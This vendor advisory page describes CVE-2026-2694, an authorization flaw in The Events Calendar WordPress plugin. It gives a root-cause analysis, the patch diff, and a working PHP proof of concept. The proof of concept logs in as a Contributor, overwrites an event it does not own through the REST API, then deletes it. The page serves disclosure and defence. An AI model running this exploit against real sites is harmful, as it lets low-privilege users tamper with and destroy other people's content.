Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2694: The Events Calendar <= 6.15.16 – Improper Authorization to Authenticated (Contributor+) Event/Organizer/Venue Update/Trash via REST API (the-events-calendar)

CVE ID CVE-2026-2694
Severity Medium (CVSS 5.4)
CWE 285
Vulnerable Version 6.15.16
Patched Version 6.15.16.1
Disclosed February 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2694:
The vulnerability is an improper authorization flaw in The Events Calendar WordPress plugin. It allows authenticated users with Contributor-level permissions or higher to modify or delete events, organizers, and venues via the REST API. This improper capability check leads to unauthorized data modification and loss.

Atomic Edge research identifies the root cause in the `can_edit` and `can_delete` functions within three REST API endpoint classes: `Single_Event`, `Single_Organizer`, and `Single_Venue`. In the vulnerable version, these functions performed generic capability checks using `delete_posts` and `edit_posts` without validating the specific post ID from the request. The functions were located in `/the-events-calendar/src/Tribe/REST/V1/Endpoints/Single_Event.php` (lines 498-504 and 563-568), `/the-events-calendar/src/Tribe/REST/V1/Endpoints/Single_Organizer.php` (lines 464-470 and 517-522), and `/the-events-calendar/src/Tribe/REST/V1/Endpoints/Single_Venue.php` (lines 529-535 and 583-588).

An attacker exploits this by sending authenticated REST API requests to update or trash specific posts. The attack vector targets the WordPress REST API endpoints for events (`/wp-json/tribe/events/v1/events/{ID}`), organizers (`/wp-json/tribe/events/v1/organizers/{ID}`), and venues (`/wp-json/tribe/events/v1/venues/{ID}`). A Contributor-level user sends PUT or DELETE requests to these endpoints with a target post ID they do not own. The vulnerable authorization logic incorrectly grants permission based on the generic `edit_posts` or `delete_posts` capability, which Contributors possess for their own posts, rather than the object-specific `edit_post` or `delete_post` check.

The patch modifies the `can_edit` and `can_delete` functions in all three endpoint classes. The functions now accept an optional `WP_REST_Request $request` parameter. The code extracts the `id` parameter from the request. If an ID is present, the function performs a specific capability check using `edit_post` or `delete_post` with that ID. If no ID is provided, the function falls back to the generic `edit_posts` or `delete_posts` check. This change ensures the authorization check validates the user’s permission for the specific post object being accessed, not just the post type in general.

Successful exploitation allows authenticated attackers with Contributor privileges to update or delete any event, organizer, or venue on the site. This leads to unauthorized data modification and data loss. Attackers can alter event details, remove content, or disrupt site operations. The vulnerability does not grant privilege escalation to administrative functions, but it enables horizontal privilege violation within the affected post types.

Differential between vulnerable and patched code

Code Diff
--- a/the-events-calendar/common/vendor/vendor-prefixed/autoload.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInite4d8c35583bb0fbd4065c52560a5a67c::getLoader();
+return ComposerAutoloaderInit75ee7974441549e824d0c356b064d433::getLoader();
--- a/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_real.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInite4d8c35583bb0fbd4065c52560a5a67c
+class ComposerAutoloaderInit75ee7974441549e824d0c356b064d433
 {
     private static $loader;

@@ -24,12 +24,12 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInite4d8c35583bb0fbd4065c52560a5a67c', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit75ee7974441549e824d0c356b064d433', 'loadClassLoader'), true, true);
         self::$loader = $loader = new TECCommonComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInite4d8c35583bb0fbd4065c52560a5a67c', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit75ee7974441549e824d0c356b064d433', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(TECCommonComposerAutoloadComposerStaticInite4d8c35583bb0fbd4065c52560a5a67c::getInitializer($loader));
+        call_user_func(TECCommonComposerAutoloadComposerStaticInit75ee7974441549e824d0c356b064d433::getInitializer($loader));

         $loader->setClassMapAuthoritative(true);
         $loader->register(true);
--- a/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_static.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace TECCommonComposerAutoload;

-class ComposerStaticInite4d8c35583bb0fbd4065c52560a5a67c
+class ComposerStaticInit75ee7974441549e824d0c356b064d433
 {
     public static $prefixLengthsPsr4 = array (
         'T' =>
@@ -584,9 +584,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInite4d8c35583bb0fbd4065c52560a5a67c::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInite4d8c35583bb0fbd4065c52560a5a67c::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInite4d8c35583bb0fbd4065c52560a5a67c::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit75ee7974441549e824d0c356b064d433::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit75ee7974441549e824d0c356b064d433::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit75ee7974441549e824d0c356b064d433::$classMap;

         }, null, ClassLoader::class);
     }
--- a/the-events-calendar/src/Tribe/Main.php
+++ b/the-events-calendar/src/Tribe/Main.php
@@ -40,7 +40,7 @@
 		const POSTTYPE            = 'tribe_events';
 		const VENUE_POST_TYPE     = 'tribe_venue';
 		const ORGANIZER_POST_TYPE = 'tribe_organizer';
-		const VERSION             = '6.15.16';
+		const VERSION             = '6.15.16.1';

 		/**
 		 * Min Pro Addon.
--- a/the-events-calendar/src/Tribe/REST/V1/Endpoints/Single_Event.php
+++ b/the-events-calendar/src/Tribe/REST/V1/Endpoints/Single_Event.php
@@ -492,13 +492,20 @@
 	 * Whether the current user can delete posts of the type managed by the endpoint or not.
 	 *
 	 * @since 4.6
+	 * @since 6.15.16.1 Add more logic to check if the user can delete the event.
+	 *
+	 * @param $request WP_REST_Request The request object.
 	 *
 	 * @return bool
 	 */
-	public function can_delete() {
-		$cap = get_post_type_object( Tribe__Events__Main::POSTTYPE )->cap->delete_posts;
+	public function can_delete( ?WP_REST_Request $request = null ) {
+		$id = $request['id'] ?? null;
+
+		if ( ! $id ) {
+			return current_user_can( get_post_type_object( Tribe__Events__Main::POSTTYPE )->cap->delete_posts );
+		}

-		return current_user_can( $cap );
+		return current_user_can( get_post_type_object( Tribe__Events__Main::POSTTYPE )->cap->delete_post, $id );
 	}

 	/**
@@ -557,11 +564,20 @@
 	 * Whether the current user can update content of this type or not.
 	 *
 	 * @since 4.6
+	 * @since 6.15.16.1 Add more logic to check if the user can edit the event.
+	 *
+	 * @param $request WP_REST_Request The request object.
 	 *
 	 * @return bool Whether the current user can update or not.
 	 */
-	public function can_edit() {
-		return $this->can_create();
+	public function can_edit( ?WP_REST_Request $request = null ) {
+		$id = $request['id'] ?? null;
+
+		if ( ! $id ) {
+			return current_user_can( get_post_type_object( Tribe__Events__Main::POSTTYPE )->cap->edit_posts );
+		}
+
+		return current_user_can( get_post_type_object( Tribe__Events__Main::POSTTYPE )->cap->edit_post, $id );
 	}

 	/**
--- a/the-events-calendar/src/Tribe/REST/V1/Endpoints/Single_Organizer.php
+++ b/the-events-calendar/src/Tribe/REST/V1/Endpoints/Single_Organizer.php
@@ -458,13 +458,20 @@
 	 * Whether the current user can delete posts of the type managed by the endpoint or not.
 	 *
 	 * @since 4.6
+	 * @since 6.15.16.1 Added more logic to check if the user can delete the organizer.
+	 *
+	 * @param WP_REST_Request $request The request object.
 	 *
 	 * @return bool
 	 */
-	public function can_delete() {
-		$cap = get_post_type_object( Tribe__Events__Main::ORGANIZER_POST_TYPE )->cap->delete_posts;
+	public function can_delete( ?WP_REST_Request $request = null ) {
+		$id = $request['id'] ?? null;
+
+		if ( ! $id ) {
+			return current_user_can( get_post_type_object( Tribe__Events__Main::ORGANIZER_POST_TYPE )->cap->delete_posts );
+		}

-		return current_user_can( $cap );
+		return current_user_can( get_post_type_object( Tribe__Events__Main::ORGANIZER_POST_TYPE )->cap->delete_post, $id );
 	}

 	/**
@@ -512,10 +519,19 @@
 	 * Whether the current user can update content of this type or not.
 	 *
 	 * @since 4.6
+	 * @since 6.15.16.1 Added more logic to check if the user can edit the organizer.
+	 *
+	 * @param WP_REST_Request $request The request object.
 	 *
 	 * @return bool Whether the current user can update or not.
 	 */
-	public function can_edit() {
-		return $this->can_create();
+	public function can_edit( ?WP_REST_Request $request = null ) {
+		$id = $request['id'] ?? null;
+
+		if ( ! $id ) {
+			return current_user_can( get_post_type_object( Tribe__Events__Main::ORGANIZER_POST_TYPE )->cap->edit_posts );
+		}
+
+		return current_user_can( get_post_type_object( Tribe__Events__Main::ORGANIZER_POST_TYPE )->cap->edit_post, $id );
 	}
 }
--- a/the-events-calendar/src/Tribe/REST/V1/Endpoints/Single_Venue.php
+++ b/the-events-calendar/src/Tribe/REST/V1/Endpoints/Single_Venue.php
@@ -523,13 +523,20 @@
 	 * Whether the current user can delete posts of the type managed by the endpoint or not.
 	 *
 	 * @since 4.6
+	 * @since 6.15.16.1 Added more logic to check if the user can delete the venue.
+	 *
+	 * @param WP_REST_Request $request The request object.
 	 *
 	 * @return bool
 	 */
-	public function can_delete() {
-		$cap = get_post_type_object( Tribe__Events__Main::VENUE_POST_TYPE )->cap->delete_posts;
+	public function can_delete( ?WP_REST_Request $request = null ) {
+		$id = $request['id'] ?? null;
+
+		if ( ! $id ) {
+			return current_user_can( get_post_type_object( Tribe__Events__Main::VENUE_POST_TYPE )->cap->delete_posts );
+		}

-		return current_user_can( $cap );
+		return current_user_can( get_post_type_object( Tribe__Events__Main::VENUE_POST_TYPE )->cap->delete_post, $id );
 	}

 	/**
@@ -577,10 +584,19 @@
 	 * Whether the current user can update content of this type or not.
 	 *
 	 * @since 4.6
+	 * @since 6.15.16.1 Added more logic to check if the user can edit the venue.
+	 *
+	 * @param WP_REST_Request $request The request object.
 	 *
 	 * @return bool Whether the current user can update or not.
 	 */
-	public function can_edit() {
-		return $this->can_create();
+	public function can_edit( ?WP_REST_Request $request = null ) {
+		$id = $request['id'] ?? null;
+
+		if ( ! $id ) {
+			return current_user_can( get_post_type_object( Tribe__Events__Main::VENUE_POST_TYPE )->cap->edit_posts );
+		}
+
+		return current_user_can( get_post_type_object( Tribe__Events__Main::VENUE_POST_TYPE )->cap->edit_post, $id );
 	}
 }
--- a/the-events-calendar/the-events-calendar.php
+++ b/the-events-calendar/the-events-calendar.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: The Events Calendar
  * Description: The Events Calendar is a carefully crafted, extensible plugin that lets you easily share your events. Beautiful. Solid. Awesome.
- * Version: 6.15.16
+ * Version: 6.15.16.1
  * Requires at least: 6.7
  * Requires PHP: 7.4
  * Author: The Events Calendar
--- a/the-events-calendar/vendor/composer/installed.php
+++ b/the-events-calendar/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'the-events-calendar/the-events-calendar',
-        'pretty_version' => 'dev-release/M26.absol',
-        'version' => 'dev-release/M26.absol',
-        'reference' => 'd25a734c0ee577002e1ff58e941b4431a872a4db',
+        'pretty_version' => 'dev-release/M26.arbok',
+        'version' => 'dev-release/M26.arbok',
+        'reference' => 'ef3658da26c8d138cd56b3381419f98cd8338644',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'the-events-calendar/the-events-calendar' => array(
-            'pretty_version' => 'dev-release/M26.absol',
-            'version' => 'dev-release/M26.absol',
-            'reference' => 'd25a734c0ee577002e1ff58e941b4431a872a4db',
+            'pretty_version' => 'dev-release/M26.arbok',
+            'version' => 'dev-release/M26.arbok',
+            'reference' => 'ef3658da26c8d138cd56b3381419f98cd8338644',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2694 - The Events Calendar <= 6.15.16 - Improper Authorization to Authenticated (Contributor+) Event/Organizer/Venue Update/Trash via REST API

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$target_event_id = 123; // ID of an event the contributor does not own

// Step 1: Authenticate and retrieve a nonce for the REST API (WordPress uses cookie authentication)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Send a PUT request to update an event the contributor should not be able to edit
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/tribe/events/v1/events/' . $target_event_id);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    'title' => 'Hacked Event Title',
    'description' => 'This event was modified by a contributor via CVE-2026-2694'
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-HTTP-Method-Override: PUT'
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Check the response
if ($http_code == 200) {
    echo "SUCCESS: Event $target_event_id was updated. Vulnerability is present.n";
    echo "Response: $responsen";
} else {
    echo "FAILURE: Received HTTP code $http_code. Vulnerability may be patched.n";
    echo "Response: $responsen";
}

// Step 4: Demonstrate deletion via DELETE request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/tribe/events/v1/events/' . $target_event_id);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-HTTP-Method-Override: DELETE'
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "SUCCESS: Event $target_event_id was trashed/deleted. Vulnerability is present.n";
} else {
    echo "DELETE attempt returned HTTP code $http_code.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School